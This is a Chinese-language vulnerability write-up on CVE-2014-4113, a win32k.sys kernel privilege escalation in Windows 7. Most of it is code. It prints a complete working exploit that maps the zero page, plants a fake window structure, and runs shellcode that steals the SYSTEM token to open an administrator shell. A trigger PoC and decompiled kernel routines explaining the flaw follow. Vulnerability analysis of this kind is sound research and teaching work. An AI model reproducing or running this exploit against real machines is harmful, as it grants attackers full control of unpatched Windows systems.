漏洞分析丨cve20144113

news2024/11/18 9:36:16

一、漏洞简述

Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。其中CVE-2014-4113就是Win32k.sys中的一个漏洞,该漏洞的根本问题是函数xxxMNFindWindowFromPoint的返回值验证不正确。xxxMNFindWindowFromPoint函数执行后返回win32k!tagWND的地址结构或错误代码-1,-5。在该函数后面将调用函数xxxSendMessage,xxxSendMessage把xxxMNFindWindowFromPoint的返回值作为参数传递。当xxxMNFindWindowFromPoint返回win32k!tagWND地址的时候程序正常执行,但当返回-1,-5的时候传递给xxxSendMessage将造成蓝屏。

二、环境准备

系统版本

win7x86sp1

三、漏洞验证

这是一个提权漏洞,在GitHub上找的exp如下:

#include 
#include 
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );

My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;

//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
    printf("[+] Callback two called.\n");
    EndMenu();
    return -5;
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
    printf("[+] Callback one called.\n");
    /* lParam is a pointer to a CWPSTRUCT which is defined as:
    typedef struct tagCWPSTRUCT {
    LPARAM lParam;
    WPARAM wParam;
    UINT   message;
    HWND   hwnd;
    } CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
    */
    //lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called
    if (*(DWORD*)(lParam + 8) == 0x1EB) {
       if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
           //lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
           SetWindowLongA(*(HWND*)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
       }
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

/*
LRESULT WINAPI DefWindowProc(
_In_ HWND   hWnd,
_In_ UINT   Msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
hWnd => Handle of the Window the event was triggered on
Msg => Message, the event that has occurred, this could be that window has moved, has been minimized, clicked on etc
wParam, lParam => extra information depending on the msg recieved.
*/
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    /*
    Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
    */
    printf("[+] WindProc called with message=%d\n", msg);
    if (msg == WM_ENTERIDLE) {
       PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
       PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
       PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
    }
    //Just pass any other messages to the default window procedure
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

VOID Poc()
{
    /*
typedef struct tagWNDCLASS {
UINT      style;
WNDPROC   lpfnWndProc;
int       cbClsExtra;
int       cbWndExtra;
HINSTANCE hInstance;
HICON     hIcon;
HCURSOR   hCursor;
HBRUSH    hbrBackground;
LPCTSTR   lpszMenuName;
LPCTSTR   lpszClassName;
} WNDCLASS, *PWNDCLASS;
We don't care about any of the style information but we set any needed values below.
*/
    WNDCLASSA wnd_class = { 0 };
    //Our custome WndProc handler, inspects any window messages before passing then onto the default handler
    wnd_class.lpfnWndProc = WndProc;
    //Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable
    wnd_class.hInstance = GetModuleHandle(NULL);
    //Random classname - we reference this later when creating a Window of this class
    wnd_class.lpszClassName = "abcde";

    //Registers the class in the global scope so it can be refered too later.
    ATOM tmp = RegisterClassA(&wnd_class);
    if (tmp == NULL) {
       printf("[+] Failed to register window class.\n");
       return;
    }

    /* Does what it says on the tin..
    HWND WINAPI CreateWindow(
    _In_opt_ LPCTSTR   lpClassName, => The name of the Window class to be created, in this case the class we just registered
    _In_opt_ LPCTSTR   lpWindowName, => The name to give the window, we don't need to give it a name.
    _In_     DWORD     dwStyle, => Style options for the window, here
    _In_     int       x, => x position to create the window,this time the left edge
    _In_     int       y, => y position to create the window, this time the top edge
    _In_     int       nWidth, => Width of the window to create, randomly chosen value
    _In_     int       nHeight, => Height of the to create, randomly chosen value
    _In_opt_ HWND      hWndParent, => A handle to the parent window, this is our only window so NULL
    _In_opt_ HMENU     hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
    _In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
    _In_opt_ LPVOID    lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
    );
    */
    HWND main_wnd = CreateWindowA(
       wnd_class.lpszClassName,
       "",
       WS_OVERLAPPEDWINDOW | WS_VISIBLE,
       0,
       0,
       640,
       480,
       NULL,
       NULL,
       wnd_class.hInstance,
       NULL);

    if (main_wnd == NULL) {
       printf("[+] Failed to create window instance.\n");
       return;
    }

    //Creates an empty popup menu
    HMENU MenuOne = CreatePopupMenu();

    if (MenuOne == NULL) {
       printf("[+] Failed to create popup menu one.\n");
       return;
    }

    /*Menu properties to apply to the empty menu we just created
    typedef struct tagMENUITEMINFO {
    UINT      cbSize;
    UINT      fMask;
    UINT      fType;
    UINT      fState;
    UINT      wID;
    HMENU     hSubMenu;
    HBITMAP   hbmpChecked;
    HBITMAP   hbmpUnchecked;
    ULONG_PTR dwItemData;
    LPTSTR    dwTypeData;
    UINT      cch;
    HBITMAP   hbmpItem;
    } MENUITEMINFO, *LPMENUITEMINFO;
    */
    MENUITEMINFOA MenuOneInfo = { 0 };
    //Default size
    MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
    //Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
    MenuOneInfo.fMask = MIIM_STRING;
    /*Inserts a new menu at the specified position
    BOOL WINAPI InsertMenuItem(
    _In_ HMENU           hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
    _In_ UINT            uItem, => it should item 0 in the menu
    _In_ BOOL            fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
    _In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
    );
    */
    BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);

    if (!insertMenuItem) {
       printf("[+] Failed to insert popup menu one.\n");
       DestroyMenu(MenuOne);
       return;
    }

    HMENU MenuTwo = CreatePopupMenu();

    if (MenuTwo == NULL) {
       printf("[+] Failed to create menu two.\n");
       DestroyMenu(MenuOne);
       return;
    }

    MENUITEMINFOA MenuTwoInfo = { 0 };
    MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
    //On this window hSubMenu should be included in Get/SetMenuItemInfo
    MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
    //The menu is a sub menu of the first menu
    MenuTwoInfo.hSubMenu = MenuOne;
    //The contents of the menu item - in this case nothing
    MenuTwoInfo.dwTypeData = (LPSTR)"";
    //The length of the menu item text - in the case 1 for just a single NULL byte
    MenuTwoInfo.cch = 1;
    insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);

    if (!insertMenuItem) {
       printf("[+] Failed to insert second pop-up menu.\n");
       DestroyMenu(MenuOne);
       DestroyMenu(MenuTwo);
       return;
    }

    /*
    HHOOK WINAPI SetWindowsHookEx(
    _In_ int       idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
    _In_ HOOKPROC  lpfn, => The callback that should be called when triggered
    _In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
    _In_ DWORD     dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
    );
    */
    HHOOK setWindowsHook = SetWindowsHookExA(
       WH_CALLWNDPROC,
       HookCallback,
       NULL,
       GetCurrentThreadId()
    );

    if (setWindowsHook == NULL) {
       printf("[+] Failed to insert call back one.\n");
       DestroyMenu(MenuOne);
       DestroyMenu(MenuTwo);
       return;
    }

    /* Displays a menu and tracks interactions with it.
    BOOL WINAPI TrackPopupMenu(
    _In_           HMENU hMenu,
    _In_           UINT  uFlags,
    _In_           int   x,
    _In_           int   y,
    _In_           int   nReserved,
    _In_           HWND  hWnd,
    _In_opt_ const RECT  *prcRect
    );
    */
    TrackPopupMenu(
       MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
       0,     //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
       0,     //Horizontal position - left hand side
       0,     //Vertical position - Top edge
       0,     //Reserved field, has to be 0
       main_wnd,//Handle to the Window which owns the menu
       NULL   //This value is always ignored...
    );

    DestroyWindow(main_wnd);
}

int __stdcall ShellCode(int parameter1, int parameter2, int parameter3, int parameter4)
{
    _asm
    {
       pushad
       mov eax, fs: [124h]      // Find the _KTHREAD structure for the current thread
       mov eax, [eax + 0x50]   // Find the _EPROCESS structure
       mov ecx, eax
       mov edx, 4           // edx = system PID(4)

       // The loop is to get the _EPROCESS of the system
       find_sys_pid :
       mov eax, [eax + 0xb8] // Find the process activity list
       sub eax, 0xb8        // List traversal
       cmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PID
       jnz find_sys_pid

       // Replace the Token
       mov edx, [eax + 0xf8]
       mov[ecx + 0xf8], edx
       popad
    }
    return 0;
}


static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

DWORD __stdcall  ptiCurrent()
{
    __asm {
       mov eax, fs:18h      //eax pointer to TEB
       mov eax, [eax + 40h] //get pointer to Win32ThreadInfo
    }
}

VOID init()
{
    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
       GetModuleHandleW(L"ntdll"),
       "NtAllocateVirtualMemory");

    if (NtAllocateVirtualMemory == NULL)
    {
       printf("[+] Failed to get function NtAllocateVirtualMemory!!!\n");
       system("pause");
       return;
    }

    PVOID Zero_addr = (PVOID)1;
    SIZE_T RegionSize = 0x1000;

    printf("[+] Started to alloc zero page...\n");
    if (!NT_SUCCESS(NtAllocateVirtualMemory(
       INVALID_HANDLE_VALUE,
       &Zero_addr,
       0,
       &RegionSize,
       MEM_COMMIT | MEM_RESERVE,
       PAGE_READWRITE)) || Zero_addr != NULL)
    {
       printf("[+] Failed to alloc zero page!\n");
       system("pause");
       return;
    }

    printf("[+] Success to alloc zero page...\n");

    *(DWORD*)(0x3) = (DWORD)ptiCurrent();
    *(DWORD*)(0x11) = (DWORD)4;
    *(DWORD*)(0x5b) = (DWORD)&ShellCode;

}

int main()
{
    init();

    Poc();

    CreateCmd();

    system("pause");

    return 0;
}

在VS中生成,拖入虚拟机中,首先普通模式打开cmd,查看权限:

 

接下来运行exp:

 

 


可以看到已经是系统权限了。

四、漏洞分析

从POC开始分析吧,代码如下:

#include 
#include 

//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
    printf("[+] Callback two called.\n");
    EndMenu();
    return -5;
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
    printf("[+] Callback one called.\n");
    /* lParam is a pointer to a CWPSTRUCT which is defined as:
    typedef struct tagCWPSTRUCT {
    LPARAM lParam;
    WPARAM wParam;
    UINT   message;
    HWND   hwnd;
    } CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
    */
    //lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called
    if (*(DWORD*)(lParam + 8) == 0x1EB) {
       if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
           //lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
           SetWindowLongA(*(HWND*)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
       }
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

/*
LRESULT WINAPI DefWindowProc(
_In_ HWND   hWnd,
_In_ UINT   Msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
hWnd => Handle of the Window the event was triggered on
Msg => Message, the event that has occurred, this could be that window has moved, has been minimized, clicked on etc
wParam, lParam => extra information depending on the msg recieved.
*/
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    /*
    Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
    */
    printf("[+] WindProc called with message=%d\n", msg);
    if (msg == WM_ENTERIDLE) {
       PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
       PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
       PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
    }
    //Just pass any other messages to the default window procedure
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

VOID Poc()
{
    /*
typedef struct tagWNDCLASS {
UINT      style;
WNDPROC   lpfnWndProc;
int       cbClsExtra;
int       cbWndExtra;
HINSTANCE hInstance;
HICON     hIcon;
HCURSOR   hCursor;
HBRUSH    hbrBackground;
LPCTSTR   lpszMenuName;
LPCTSTR   lpszClassName;
} WNDCLASS, *PWNDCLASS;
We don't care about any of the style information but we set any needed values below.
*/
    WNDCLASSA wnd_class = { 0 };
    //Our custome WndProc handler, inspects any window messages before passing then onto the default handler
    wnd_class.lpfnWndProc = WndProc;
    //Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable
    wnd_class.hInstance = GetModuleHandle(NULL);
    //Random classname - we reference this later when creating a Window of this class
    wnd_class.lpszClassName = "abcde";

    //Registers the class in the global scope so it can be refered too later.
    ATOM tmp = RegisterClassA(&wnd_class);
    if (tmp == NULL) {
       printf("[+] Failed to register window class.\n");
       return;
    }

    /* Does what it says on the tin..
    HWND WINAPI CreateWindow(
    _In_opt_ LPCTSTR   lpClassName, => The name of the Window class to be created, in this case the class we just registered
    _In_opt_ LPCTSTR   lpWindowName, => The name to give the window, we don't need to give it a name.
    _In_     DWORD     dwStyle, => Style options for the window, here
    _In_     int       x, => x position to create the window,this time the left edge
    _In_     int       y, => y position to create the window, this time the top edge
    _In_     int       nWidth, => Width of the window to create, randomly chosen value
    _In_     int       nHeight, => Height of the to create, randomly chosen value
    _In_opt_ HWND      hWndParent, => A handle to the parent window, this is our only window so NULL
    _In_opt_ HMENU     hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
    _In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
    _In_opt_ LPVOID    lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
    );
    */
    HWND main_wnd = CreateWindowA(
       wnd_class.lpszClassName,
       "",
       WS_OVERLAPPEDWINDOW | WS_VISIBLE,
       0,
       0,
       640,
       480,
       NULL,
       NULL,
       wnd_class.hInstance,
       NULL);

    if (main_wnd == NULL) {
       printf("[+] Failed to create window instance.\n");
       return;
    }

    //Creates an empty popup menu
    HMENU MenuOne = CreatePopupMenu();

    if (MenuOne == NULL) {
       printf("[+] Failed to create popup menu one.\n");
       return;
    }

    /*Menu properties to apply to the empty menu we just created
    typedef struct tagMENUITEMINFO {
    UINT      cbSize;
    UINT      fMask;
    UINT      fType;
    UINT      fState;
    UINT      wID;
    HMENU     hSubMenu;
    HBITMAP   hbmpChecked;
    HBITMAP   hbmpUnchecked;
    ULONG_PTR dwItemData;
    LPTSTR    dwTypeData;
    UINT      cch;
    HBITMAP   hbmpItem;
    } MENUITEMINFO, *LPMENUITEMINFO;
    */
    MENUITEMINFOA MenuOneInfo = { 0 };
    //Default size
    MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
    //Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
    MenuOneInfo.fMask = MIIM_STRING;
    /*Inserts a new menu at the specified position
    BOOL WINAPI InsertMenuItem(
    _In_ HMENU           hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
    _In_ UINT            uItem, => it should item 0 in the menu
    _In_ BOOL            fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
    _In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
    );
    */
    BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);

    if (!insertMenuItem) {
       printf("[+] Failed to insert popup menu one.\n");
       DestroyMenu(MenuOne);
       return;
    }

    HMENU MenuTwo = CreatePopupMenu();

    if (MenuTwo == NULL) {
       printf("[+] Failed to create menu two.\n");
       DestroyMenu(MenuOne);
       return;
    }

    MENUITEMINFOA MenuTwoInfo = { 0 };
    MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
    //On this window hSubMenu should be included in Get/SetMenuItemInfo
    MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
    //The menu is a sub menu of the first menu
    MenuTwoInfo.hSubMenu = MenuOne;
    //The contents of the menu item - in this case nothing
    MenuTwoInfo.dwTypeData = (LPSTR)"";
    //The length of the menu item text - in the case 1 for just a single NULL byte
    MenuTwoInfo.cch = 1;
    insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);

    if (!insertMenuItem) {
       printf("[+] Failed to insert second pop-up menu.\n");
       DestroyMenu(MenuOne);
       DestroyMenu(MenuTwo);
       return;
    }

    /*
    HHOOK WINAPI SetWindowsHookEx(
    _In_ int       idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
    _In_ HOOKPROC  lpfn, => The callback that should be called when triggered
    _In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
    _In_ DWORD     dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
    );
    */
    HHOOK setWindowsHook = SetWindowsHookExA(
       WH_CALLWNDPROC,
       HookCallback,
       NULL,
       GetCurrentThreadId()
    );

    if (setWindowsHook == NULL) {
       printf("[+] Failed to insert call back one.\n");
       DestroyMenu(MenuOne);
       DestroyMenu(MenuTwo);
       return;
    }

    /* Displays a menu and tracks interactions with it.
    BOOL WINAPI TrackPopupMenu(
    _In_           HMENU hMenu,
    _In_           UINT  uFlags,
    _In_           int   x,
    _In_           int   y,
    _In_           int   nReserved,
    _In_           HWND  hWnd,
    _In_opt_ const RECT  *prcRect
    );
    */
    TrackPopupMenu(
       MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
       0,     //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
       0,     //Horizontal position - left hand side
       0,     //Vertical position - Top edge
       0,     //Reserved field, has to be 0
       main_wnd,//Handle to the Window which owns the menu
       NULL   //This value is always ignored...
    );
}

int main()
{
    Poc();
    return 0;
}

编译成exe拖入虚拟机运行,打开双击调试:

 

卡在这里,看箭头位置:

 

可以看到esi的值是传入的参数,上层函数是xxxSendMessage,参数同样是fffffffb:

 

直接在win32k.sys追xxxHandleMenuMessages,当然记得加载符号文件:

 

通过xxxHandleMenuMessages+0x582的地址,F5到此处:

 

LABEL_13:
            v12 = a2;
            *(_DWORD *)(a2 + 16) = -1;
            *(_DWORD *)(a2 + 8) = (signed __int16)v7;
            *(_DWORD *)(a2 + 12) = SHIWORD(v7);
            v13 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, v7);
            v52 = IsMFMWFPWindow(v13);
            if ( v52 )
            {
              v46 = *((_DWORD *)gptiCurrent + 45);
              *((_DWORD *)gptiCurrent + 45) = &v46;
              v47 = v13;
              if ( v13 )
                ++*(_DWORD *)(v13 + 4);
            }
            if ( *(_DWORD *)(v12 + 4) & 0x400 )
            {
              *(_DWORD *)(v12 + 36) = *(_DWORD *)(v12 + 8);
              *(_DWORD *)(v12 + 40) = *(_DWORD *)(v12 + 12);
              *(_DWORD *)(v12 + 48) = UnicodeString;
              LockMFMWFPWindow(v12 + 44, v13);
            }
            if ( *(_DWORD *)(v12 + 4) & 0x500 )
              *(_DWORD *)(v12 + 52) = ((v50 & 2) != 0) + 1;
            if ( !v13 && !UnicodeString )
              goto LABEL_22;
            if ( *(_BYTE *)v3 & 2 && v13 == -5 )
            {
              xxxMNSwitchToAlternateMenu(v3);
              v13 = -1;
            }
            if ( v13 == -1 )
              xxxMNButtonDown(v3, v12, UnicodeString, 1);
            else
              xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);
            if ( !(*(_DWORD *)(v12 + 4) & 0x100) )
              xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516);

可以看到esi的值主要来源于 v13 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, v7);
v52 = IsMFMWFPWindow(v13):此函数判断值是否是-5和-1,不是的话返回1:

BOOL __stdcall IsMFMWFPWindow(int a1)
{
  return a1 && a1 != -5 && a1 != -1;
}

而如果要执行xxxSendMessage这个函数,就需要让v13的值等于-5(FFFFFFFB),我们看xxxMNFindWindowFromPoint这个函数:

 

这里反编译有问题,直接看汇编:

 

这里判断呢,就是发送消息是1ED这里,然后判断是不是-1或者-5就跳过if,所以这里需要跳过if,否则返回值会重新赋值,然后-1的话触发不了漏洞,只能-5,也就是HOOK这里,让这个返回值-5,触发漏洞。
接下来根据POC简单梳理一下过程:
调用了TrackPopupMenu函数触发漏洞,然后调用内核函数win32k!xxxTrackPopupMenuEx,最后调用最终会调用win32k! xxxMNLoop函数,然后就跟进win32k!xxxHandleMenuMessages函数,随后就是我们分析的情况。触发漏洞需要让xxxMNFindWindowFromPoint返回值=-5;

五、漏洞利用

在POC中,对于消息号为0x1EB的消息,HOOK函数返回了0xFFFFFFFB,而程序把该值作为win32k!tagWND结构处理,导致后边把0xFFFFFFFB作为win32k!ptagWND结构传给win32k! xxxSendMessage。在win32k! xxxSendMessage中会调用win32k!xxxSendMessageTimeout,在win32k!xxxSendMessageTimeout中当把0xFFFFFFFB作为win32k!tagWND结构处理时,会调用ptagWND+0x60处的函数,也就是call [0xFFFFFFB+0x60],在xxxSendMessageTimeout中,即call [0x5B]。
如果在0x5B位置布置shellcode,就可以完成漏洞利用,下面还要注意一个点,是xxxSendMessageTimeout函数内部的俩个验证,所以我们需要布局0x3,0x11位置:



通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B。而shellcode就是创建cmd,把进程Token换成system的Token值。至于钩子为什么使用SetWindowLongA设置了一次窗口函数,因为只有在窗口处理函数线程的上下文空间中调用EndMenu函数才有意义。补充一点exp调用sendMessage函数是分同步异步,这里不再多说,可以看这里:https://www.anquanke.com/post/id/84869

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/441925.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

js对象案例练习

个人名片: 😊作者简介:一名大一在校生,web前端开发专业 🤡 个人主页:python学不会123 🐼座右铭:懒惰受到的惩罚不仅仅是自己的失败,还有别人的成功。 🎅**学习…

SQL Server的日志传送

日志传送和复制 一、前言二、相关术语和定义三、日志传送和复制3.1、在主数据库丢失时从辅助数据库进行复制的要求和过程3.2、使用事务复制进行日志传送3.3、使用合并复制进行日志传送 一、前言 日志传送允许您自动将事务日志备份从主服务器实例上的主数据库发送到单独辅助服务…

思维导图手撕MyBatis源码

文章目录 前置准备通过类加载器读取配置文件流创建sqlSessionFactory建造者模式的使用 打开SqlSession获取Mapper接口对象执行Mapper接口方法 前置准备 既然要读MyBatis的源码,那么我们就要先弄清楚MyBatis的入口在哪。这里我们直接写一个标准的MyBatis使用程序&am…

Node 【Buffer 与 Stream】

文章目录 🌟前言🌟Buffer🌟 Buffer结构🌟 什么时候用Buffer🌟 Buffer的转换🌟 Buffer使用🌟 创建Buffer🌟 字符串转Buffer🌟 Buffer转字符串🌟 拼接Buffer&am…

微信小程序登录注册页面

// login.js // 获取应用实例 var app getApp() var api require("../../utils/api.js")Page({data: {motto: zhenbei V1.0.0,userInfo: {},hasUserInfo: false,disabled: true,btnstate: default,username: ,password: ,canIUse: wx.canIUse(button.open-type.get…

UE4/5 C++网络服务器编程纪录【零】--准备篇

前言 之前利用业余时间重新复习UE4/5的C开发,闲来无事做了个基于独立服务器的多人在线(目前限定客户数量是20人以内)DEMO,核心功能在我之前发的B站视频里面有,战斗、动作、交互以及场景演示都有了,有朋友看…

Linux使用:环境变量指南和CPU和GPU利用情况查看

Linux使用:环境变量指南和CPU和GPU利用情况查看 Linux环境变量初始化与对应文件的生效顺序Linux的变量种类设置环境变量直接运行export命令定义变量修改系统环境变量修改用户环境变量修改环境变量配置文件 环境配置文件的区别profile、 bashrc、.bash_profile、 .ba…

函数(有点难,要注重实战)

目录 1. 函数是什么2. C语言中函数的分类2.1 库函数2.1.1 如何学会使用库函数? 2.2 自定义函数 3. 函数的参数3.1 实际参数(实参):3.2 形式参数(形参): 4. 函数的调用:4.1 传值调用4…

Spark SQL实战(08)-整合Hive

1 整合原理及使用 Apache Spark 是一个快速、可扩展的分布式计算引擎,而 Hive 则是一个数据仓库工具,它提供了数据存储和查询功能。在 Spark 中使用 Hive 可以提高数据处理和查询的效率。 场景 历史原因积累下来的,很多数据原先是采用Hive…

Node内置模块 【url模块与queryString】

文章目录 🌟前言🌟url 模块🌟 URL各部分说明🌟 将URL字符串转换为对象🌟 将对象格式化为URL字符串:url.format(urlObj)🌟 URL路径处理:url.resolve(from, to) 🌟 querySt…

MySQL-四大类日志

目录 🍁MySQL日志分为4大类 🍁错误日志 🍃修改系统配置 🍁二进制日志 🍃查看二进制日志 🍃删除二进制日志 🍃暂时停止二进制日志的功能 🍁事务日志(或称redo日志) 🍁慢查…

SSM整合、环境配置以及详细综合测试(单表查询、多表查询和数据分页、前后端分离、Vue3)

SSM整合、环境配置以及基础综合测试 准备:创建maven项目以及项目框架准备 SSM整合简介 介绍: SSM(SpringSpringMVCMyBatis) 整合,就是三个框架协同开发。Spring整合Mybatis就是将Mybatis核心配置文件当中数据源的配置、事务处理、以及工厂的配置&…

OpenGL入门教程之 深入三角形

一、引言 本教程使用GLEW和GLFW库。  通过本教程,你能轻松的、深入的理解OpenGL如何绘制一个三角形。  如果你不了解OpenGL是什么,可以阅读OpenGL深入理解。 二、基本函数和语句介绍 通过阅读以下的函数,你的大脑里能留下关于OpenGL基本函…

通过CSIG—走进合合信息探讨生成式AI及文档图像处理的前景和价值

一、前言 最近有幸参加了由中国图象图形学学会(CSIG)主办,合合信息、CSIG文档图像分析与识别专业委员会联合承办的“CSIG企业行——走进合合信息”的分享会,这次活动以“图文智能处理与多场景应用技术展望”为主题,聚…

安全防御第四天:防病毒网关

一、恶意软件 1.按照传播方式分类 (1)病毒 病毒是一种基于硬件和操作系统的程序,具有感染和破坏能力,这与病毒程序的结构有关。病毒攻击的宿主程序是病毒的栖身地,它是病毒传播的目的地,又是下一次感染的出…

尚融宝21-整合springcloud

目录 一、整合注册中心nacos 二、整合openFeign (一)准备工作 (二)导入依赖 (三)接口的远程调用 (四)配置超时控制和日志打印 三、整合Sentinel 四、整合gateway服务网关 …

【Spring从成神到升仙系列 五】从根上剖析 Spring 循环依赖

👏作者简介:大家好,我是爱敲代码的小黄,独角兽企业的Java开发工程师,CSDN博客专家,阿里云专家博主📕系列专栏:Java设计模式、数据结构和算法、Kafka从入门到成神、Kafka从成神到升仙…

基于SpringBoot+Vue家乡特色推荐系统

您好,我是码农飞哥(wei158556),感谢您阅读本文,欢迎一键三连哦。 💪🏻 1. Python基础专栏,基础知识一网打尽,9.9元买不了吃亏,买不了上当。 Python从入门到精…

【李老师云计算】HBase+Zookeeper部署及Maven访问(HBase集群实验)

索引 前言1. Zookeeper1.1 主机下载Zookeeper安装包1.2 主机解压Zookeeper1.3 ★解决解压后文件缺失1.4 主机配置Zookeeper文件1.4.1 配置zoo_sample.cfg文件1.4.2 配置/data/myid文件 1.5 主机传输Zookeeper文件到从机1.6 从机修改Zookeeper文件1.6.1 修改zoo.cfg文件1.6.2 修…

一文带你了解MySQL的前世今生,架构,组成部分,特点,适用场景

